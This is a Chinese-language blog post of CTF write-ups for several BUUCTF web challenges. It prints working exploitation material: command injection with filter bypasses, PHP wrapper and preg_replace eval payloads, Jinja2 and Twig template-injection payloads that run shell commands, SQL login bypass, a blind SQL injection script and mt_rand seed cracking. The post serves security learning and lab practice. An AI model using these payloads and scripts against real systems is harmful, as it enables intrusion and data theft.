wp这里告诉我们使用点或%20,但这只在本题适用

这里的本意是寻找一个字符代替_,我们都知道,所有的字符都可以用ascii码表示,而url编码可以被浏览器解析

直接写脚本爆破试试

import requests

for i in range(0,256): #设置256个数
    code_hex = hex(i) #将数字改为16进制编码
    code_int = code_hex.replace("0x","") #将code_hex的0x替换为空
    #print(code)  
    if len(code_int)<2:
        code_str = "%0" + code_int
    else:
        code_str = "%"  + code_int
    
    url = "http://b489ab93-6c1b-46f2-b07d-8a3d41746b8e.node3.buuoj.cn/?b"+code_str+"u"+code_str+"p"+code_str+"t=23333"
    res = requests.get(url = url).text
    reslen = len(res)
    # print(reslen)
    if reslen != 989 :
        print(code_str)

image-20210602175244343

由此可知,%20(空格),%2e (点)都可以代替%5f (下划线)

随便选一个用

image-20210602175547232

bypass 正则

image-20210602175813276

要以23333开头并以23333结尾,我开始的想法是23333%00或者23333111123333,结果都不行,搞不懂

所以直接爆破试试,肯定是特殊字符中的一个,无非是开头,中间,结尾的区别,正好写了现成的脚本

开头中间都没有,结尾可以使用换行符

import requests

for i in range(0,256): #设置256个数
    code_hex = hex(i) #将数字改为16进制编码
    code_int = code_hex.replace("0x","") #将code_hex的0x替换为空
    #print(code)  
    if len(code_int)<2:
        code_str = "%0" + code_int
    else:
        code_str = "%"  + code_int
    
    url = "http://1014064c-f83d-4790-b53a-cadac0d9cd62.node3.buuoj.cn//?b u p t=23333"+code_str
    res = requests.get(url = url).text
    reslen = len(res)
    # print(reslen)
    if reslen != 1014 :
        print(code_str)

image-20210602180337110

%0a是换行符,%5f是之前被过滤的下划线,所以用%0a即可

image-20210602181320385

javascript编码和ip伪造

javascript的特殊编码

进入secrettw.php

查看源代码

image-20210602181526267

注释的那行,是javascript格式的编码,直接使用浏览器自带的js编辑器即可

image-20210602181643645

post传入Merak,值随意

image-20210602181744154

得到部分源代码

ip伪造的两种方式

web常见的传入ip方式一般有两种,最常见的是XFF,其次是Client-ip

经测试,本题是Client-ip

Client-ip可以直接在burp修改,也可以使用修改文件头的插件,虽然常用的插件没有提供Client-ip,但问题不大

image-20210602182227391

手撸上去即可

XFF所有的改请求头插件都有,这里不做说明

反写代码与data伪协议

反写代码

这里本题写了一个ascii移位,将传上去的file变成了编码,需要我们反写这个移位规则

image-20210602202139108

<?php
    $v = "ZmpdYSZmXGI=";
    $v = base64_decode($v);
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    echo $re,"\n";

    $b = "flag.php";
    for ($i=0;$i<strlen($b);$i++)
    {
        $rb .= chr(ord($b[$i]) - $i*2);
    }
    echo base64_encode($rb);

image-20210602202337747

成功

data伪协议

image-20210602202450986

这里题目用file_get_contents()函数包裹了GET传入的2333,然后才进行比较

file_get_contents()函数用于打开文件,显然无法打开传入的字符串

构造data://协议,将字符串转为字节流让file_get_contents()函数可以读取

data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=

text/plain是纯文本格式文件,text/html是html类型文件,所以这里使用text/plain

上传,查看源码拿到flag:

image-20210602213620556

payload

/?b u p t=23333%0a
/secrettw.php
post: Merak=1
header: Client-ip: 127.0.0.1
/secrettw.php?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=

flag

flag{a8b3ea3d-2219-4ea4-ba29-bb135daea8c6}

[MRCTF2020]Ezaudit

伪随机数

题目提示代码审计,直接访问www.zip得到部分源码

image-20210604101253753

post传参u埃尔那么,password和private_key

其中username已知,password可以直接sql注入,parvate_key未知

image-20210604101455429

这里使用的是seed伪随机数漏洞,不过我没有成功复现

简单说,php中用于构造随机数的mt_rand()函数并不是一个真正意义上的随机数

mt_rand函数是通过撒播随机数种子来生成随机数的,并且mt_rand生成随机数只撒播一次种子,之后的随机数都使用同一个种子生成。如果知道了随机数种子,就可以将私钥得出。

mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。

这时如果我们知道这个种子,就可以确定的得到这个随机密钥

使用php_mt_seed工具对已知共钥进行爆破即可

先用脚本改写格式

str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):  
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

运行php_mt_seed,得到结果

1775196155

然后带入题中得到私钥

<?php
mt_srand(1775196155);
//公钥
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
}
//私钥
function private_key($length = 12) {
    
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
}
echo public_key();
echo private_key();
?>

这里有个奇怪的问题,我运行得到的密钥是3NxjlpuxSI5y,并不是真实的密钥

而wp告诉我密钥是XuNhoueCDCGc

可能是版本问题吧,我没有成功解决这个问题,直接用wp说的密钥

http://e9e64b27-0b84-4234-8d42-47116db13051.node3.buuoj.cn/login.php
post:
Private_key=XuNhoueCDCGc&login=%E7%99%BB%E5%BD%95&password=%27+or+1%3D1--+&username=crispr

image-20210604160843748

flag

flag{e799b498-3d87-4a0b-a120-07efc40d3eb5}

[GXYCTF2019]Ping Ping Ping

命令执行

这里用了ping命令,直接执行

首先,管道符被绕过,所以使用;

?ip=baidu.com;ls

image-20210604215151644

看一眼index.php,确定过滤了什么

空格被过滤,使用$IFS$9替代

?ip=baidu.com;cat$IFS$9index.php

image-20210604215535835

过滤很严,而且不允许任何形式的flag存在,*f*l*a*g*,不过它是按顺序检测到,所以改一下顺序

?ip=baudu.com;a=ag;b=fl;cat$IFS$9$b$a.php

image-20210605092255261

flag

flag{8c2bf6b8-0735-49c6-8546-a3f63af67fb8}

[BJDCTF2020]ZJCTF,不过如此

data://与php://

image-20210605100418141

要求$_GET传参text和file

并且file_get_contents($text)等于I have a dream

其次file中不能存在flag,但同时提醒了next.php文件

payload,伪协议我在前面有说到,不做赘述

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php

这样我们就得到了next.php的源代码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

正则匹配的命令执行

看源码,有个命令执行和正则匹配,但程序将我们的输入通过foreach()遍历输出,我们无法直接执行eval

但preg_replace()中有个e,这里可以执行命令

注意:php7已将选项e废弃

原理看这篇文章,说的比我清楚

https://blog.csdn.net/weixin_43749601/article/details/113417093

直接贴payload

next.php?\S*=${phpinfo()}

这个无法直接得到flag,但可以让我们调用getFlag()

payload

next.php?\S*=${getFlag()}&cmd=system('cat /flag');

image-20210605105713156

flag

flag{a0bef091-1902-4c87-92dd-8d6bd592b8de}

[BJDCTF2020]Easy MD5

md5注入

开始,一个输入框,除此之外没有任何的信息,找了好久才抓包时看到考点

image-20210605164929682

也是我瞎

猜测这里可能是将我们的输入改成了md5储存,这也是大名鼎鼎的彩虹库的原理

这里转成了16进制,只要在转化后字符符合注入要求即可了,百度看看

image-20210605165408876

这里我用了第一个:ffifdyop

image-20210605165455524

md5碰撞

这个知识点我之前说了

具体看之前写的**[MRCTF2020]Ez_bypass,或者我博客里的php笔记**

这里只说一下做法

找两个MD5加密后字符串为0e开头的即可passby

payload:

levels91.php?a=s878926199a&b=s155964671a

image-20210605170126286

成功,又是md5

md5,数组绕过

同样,之前说过了

payload:

post:
param1[]=aaa&param2[]=2

成功得到flag

image-20210605170300900

flag:

flag{eb6ea706-9ce0-427f-9336-385a9de3fc36}

[BJDCTF2020]The mystery of ip

模板注入

本题原意是寻找框架的漏洞

不过我没经验,手测了

点开flag,题目给了我的ip地址,这表明题目获取了我的ip,所以伪造一下ip

成功伪造

image-20210605180009154

我这里随意的输入了命名,发现有报错

image-20210605192846540

代码是我百度了一串乱输的

所以,这里存在命令执行

测试,可以用花括号执行命令

image-20210605193114296

得到flag

image-20210605193201236

正确做法:https://blog.csdn.net/qq_41628669/article/details/106133129

在这里插入图片描述

通过模板分析,确定框架

然后做题

flag

flag{f5095f02-89ec-4a75-849a-2c560a0a631e}

[BJDCTF2020]Mark loves cat

.git 源码泄露

目录扫描发现存在.git文件

用GitHack将源码dump下来

分析

image-20210607100857805

image-20210607100904055

变量覆盖漏洞

我们传入?yds=flag

得到flag

image-20210607194453267

  • 分析:

    image-20210607195010030

    漏洞在这两行代码

    如果不存在$_GET$_POST其中之一,则输出$yds

    而上面的数组遍历将传入的参数名给了x,值给了y

    但我们传入yds=flag时

    在这个位置如此执行

    $yds = $flag;
    

    于是flag便在下面输出

    flag

    flag{2ff487ff-e094-4dc5-835c-107af2c381e6}
    

[第三章 web进阶]SSTI

jinjaSSTI

题目明确告诉我们是ssti,直接测试即可

{{7*7}}

image-20210610141252155

{{7*'7'}}

image-20210610141319023

确定为jinja框架

在这里插入图片描述

判断方法还是这个经典的图

这里我直接贴payload

?password={% for a in "".__class__.__bases__[0].__subclasses__() %}
{% if a.__name__ == "_wrap_close" %}
{% for b in a.__init__.__globals__ %}
{% if "popen" in b %}
{{a.__init__.__globals__['popen']('cd app;cat server.py').read()}}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20210610141724850

payload的构造方法我在SSTI中已经说过,这里不做赘述

flag

n1book{eddb84d69a421a82}

TwigSSTI

在flag.php位置有输入框,在这里测试,发现有服务器端模板注入

测试发现是Twig模板

image-20210610144024655

这个可以直接写payload到输入框,也可以注cookie中,题目本意是注cookie中

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

同样在SSTI中说明过,不在此重新说明

image-20210610144902221

flag

flag{aa34f4b3-dea5-4163-9f3d-feab7e00edd3}

[CISCN2019 华北赛区 Day2 Web1]Hack World

sql注入

很简单的sql注入,除了过滤的很严格,不过还好给了列名和表名,不然得用无列名注入还是很麻烦的

image-20210610194618203

直接盲注就可以,payload是1=(1=1)=1

顺便贴个我写的小脚本

#作者:Atmujie
#转载使用请注明出处
#from bs4 import BeautifulSoup
import requests
import string
import time
from urllib import parse

'''如需用header/data,请到res_get/post函数自行添加'''
#自定义项
#url
url = "http://b1e10c66-2481-426d-a94b-2285770056b5.node3.buuoj.cn/index.php" #get传参时请将?id等放在这里

# 传参接口,get/post
request_q = "post" 

#sql闭合方式,判断符号(and or || &&)也写在这里
id = "1=(1="

# sql查询语句
# code = "database()" 
# code = "substr(select(concat(schema_name))from(information_schema.schemata))"
# code = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
# code = "select(group_concat(column_name))from(information_schema.columns)where(table_name='loflag')"
code = "substr((select(concat(flag))from(ctftraining.flag)),1,68)"
#闭合过滤方式(#/--+/;%00)
#post传参需注入此处编码
#get传参无需对#url编码,本脚本已经自行编码
filt = ")=1"

#判断方式(if "judgment" in qingqiu)
judgment = "Hello, glzjin wants a girlfriend."
#单字符过滤,自行添加
guolv = "*+.?|$"
# 括号是否被过滤/拦截(yes/no默认为no)
brackets = "no"
#代码参考
'''
"{ids}"+"left(({codes}),{ints}) regexp binary({tmp}){filts}"
id=1'||  left((database()),1)   regexp binary(0x5e73) --+ 
'''

#get传参模块
def res_get(url,code_q): 
    # get传参head
    head = {

    };
    payload = url+code_q
    res = requests.get(url = payload) # 需要head自行添加
    return res

#post传参模块b
def res_post(url,code_q):
    #post传参data
    data = {
        "id": ""+code_q
    };
    res = requests.post(url = url,data = data)
    return res

#输出匹配字符16进制
def HexStr(string): 
    result = ''
    for tmp in string:
        result += hex(ord(tmp))
    result = result.replace('0x', '')
    return "0x"+result

#主函数
#打印所有字符串
str_s = (string.printable + "”")
#url过滤字符
if request_q == "get" and filt == "#":  
    filt = parse.quote_plus(filt)
if __name__ == "__main__" :
    print("盲注开始")
    text = str("")
    zhi = []
    ESC = 0
    #循环盲注
    for i in range(1,500):
        if ESC !=1:
            for strs in str_s:
                try:
                    #去除过滤项
                    if strs in guolv:
                        continue
                    #设定正则表达式
                    tmp_hex = HexStr('^'+text+strs)
                    #输入语句
                    if brackets == "no":   
                        code_q = "{ids}left(({codes}),{ints})regexp(binary({tmp})){filts}".format(ids=id,codes=code,ints=i,tmp=tmp_hex,filts=filt)
                    else:
                        exit("请重新定义输入语句或使用 order by 盲注,本脚本目前无 order by 模块")
                    if request_q == "get":
                        qingqiu = res_get(url,code_q).text
                    elif request_q == "post":
                        qingqiu = res_post(url,code_q).text
                    # print(qingqiu)
                    # #输出结果
                    # qingqiu = len(qingqiu) #长度判断
                    if judgment in qingqiu :
                        text += strs
                        print("检测成功,当前结果为",text)
                        time.sleep(0.2)
                        break                 
                except Exception as e:
                    exit("未知错误,请检查脚本或网络")
            if strs == "”":
                print("盲注测试结束")
                exit("结果为:{}".format(text))

还有改进的余地,以后在改

flag

flag{88f0a9e3-8a5b-493a-8475-980748a3d658}

[护网杯 2018]easy_tornado

render模板注入

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过双花括号进行传递变量和执行简单的表达式。

本题在error报错处,可以执行模板注入

image-20210610170423305

不过过滤很严格,打不进去的我搜了wp

没看懂,问了学长

这里说学长的思路

官方文档查看思路

首先看一下题目在问什么,这里告诉我们是cookie

image-20210611213200217

这里告诉我们filehash的编码方式,是将cookie_sercret和md5编码后的filename连接

先看看cookie_sercret官方文档怎么说

image-20210611213350455

我们知道了这事一个密码,并且可以在应用程序中设置

然后题目还提示了render

image-20210611214103470

看看文档怎么说

image-20210611214147887

image-20210611214206063

选几个试一试

image-20210611214254580

这说明入手点没有错,然后找render和cookie_sercert的联系

经过很多很多次的看函数看源码,最后找到了srettings

image-20210611215704845

前面图里有行字,不知道大家有没有印象

image-20210611220133016

试试:

image-20210611220255253

092d4bfe-0a2b-4507-bf74-65da729654c1

后面就好办了,根据提示写个脚本

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="092d4bfe-0a2b-4507-bf74-65da729654c1"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

运行,访问

image-20210611220513187

得到flag

payload

file?filename=/fllllllllllllag&filehash=bf5ae3e09832e8575c20f84dfee458d6

flag

flag{2d81502b-03f5-4e6b-bac4-d2ccbe1e7ca8}

[BJDCTF2020]EasySearch

源码泄露

CTF中源码泄露是一件很常见的事情,趁着这道题,我顺便来说一下源码泄露常见的类型

.git源码泄露

这种泄露在博客中很常见,只要挂载了github远程仓库,就一定有.git文件,区别只是它被藏在了哪里

除非搭建好博客,顺手删了.git文件,并大喊我不更新了

找到.git目录位置,用GitHack工具dump下来,就可以得到部分源码

.ds_store

这个我记得我在之前提到过,它包含了文件夹的目录信息

当然,穷人不配.ds_store泄露,这是MAC电脑专属的

备份压缩文件

常见备份文件后缀

.rar
.zip
.7z
.tar.gz
.bak
.swp
.txt
.html

这个说起来,我想基本每个人都有备份的习惯,一般都是右击,然后发送为zip文件

CTF做的多了,大家应该都知道www.zip,因为这是所有程序员最爱用的?

可能有人会杠,我不爱用这个名字,那我们分析一下

linux系统,以及apache,网页常用路径是这个 /var/www/html

www,正是第二级文件夹

我们备份一般有两种选择,一是备份整个文件夹,二是只备份指定项目,我想不管是哪个,应该没多少人备份完会改备份文件的名字吧,毕竟一来文件多了,备份改名一时爽,某日找备份火葬场

综上,大多数人备份,都不改名

这样有什么后果呢?举两个例子

win备份

image-20210614152551352

image-20210614152609428

看,备份后的zip文件名就是目录名,不管用什么压缩软件,结果都一样。

linux备份

image-20210614152906509

这里为什么一样呢?

你按一下 Tab 就能自动补全的事情,你会自己起一个名字?不会吧

结论出来了,大多数人备份文件,从不改名吗,基本文件夹名或者文件名就是备份名,所以我们只要知道文件名,很轻易就能得到源码备份,CTF的www.zip就是这个道理,当然CTF里一般是故意改成这名的,平时见到的就是`项目文件夹名.备份后缀`

一般配合目录穿越漏洞使用,不过实际中可用目录爆破的方式得到备份,所以大家都不是很在意这个问题,根本不用费心思想为什么

——————————言归正传——————————

本题就存在源码泄露

image-20210614153937479

就像我说的,配合目录穿越查看

这步我字典拉跨了没扫到,看wp,都没提到目录穿越这回事,学长憨憨的访问了半天,最后说题崩了(笑)

备份文件,肯定不会在文件夹里,那怕不是备份个寂寞

MD5值爆破

这步没什么好说的

image-20210614154738896

要求password md5加密后为指定值,直接爆破

<?php
$admin = '6d0bc1';
$a = 0;
while(TRUE)
{
    if(substr(md5($a),0,6) == $admin)
    {
        die($a);
    }
    else
    {
        $a++;
    }
}

结果:code=2020666

SSI注入

审计源码我们可以看到如下操作

image-20210614155121020

post传入的username 被写入了.shtml文件,然后命名为一串毫无意义的字符串

先看看shtml文件是什么

image-20210614155532096

这里就很明确了,SSI注入

我直接贴payload了,具体用法自行百度

password=2020666&username=

flag在这个名字奇奇怪怪的文件里,应该都看的懂

然后看看Network,找到保存的路径(这步简直毫无意义)

image-20210614155955267

访问它,得到flag

image-20210614160021581

flag

flag{bb20a263-400d-4289-952d-5fe000b815fe}

来自后话

本来打算把BUU所有题目都写一起,可不知不觉就写了很多,以至于我自己查阅都很麻烦,所以干脆到此为止,我另开几篇新文章继续写,写成一个序列


文章作者: Atmujie
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Atmujie !
评论
  目录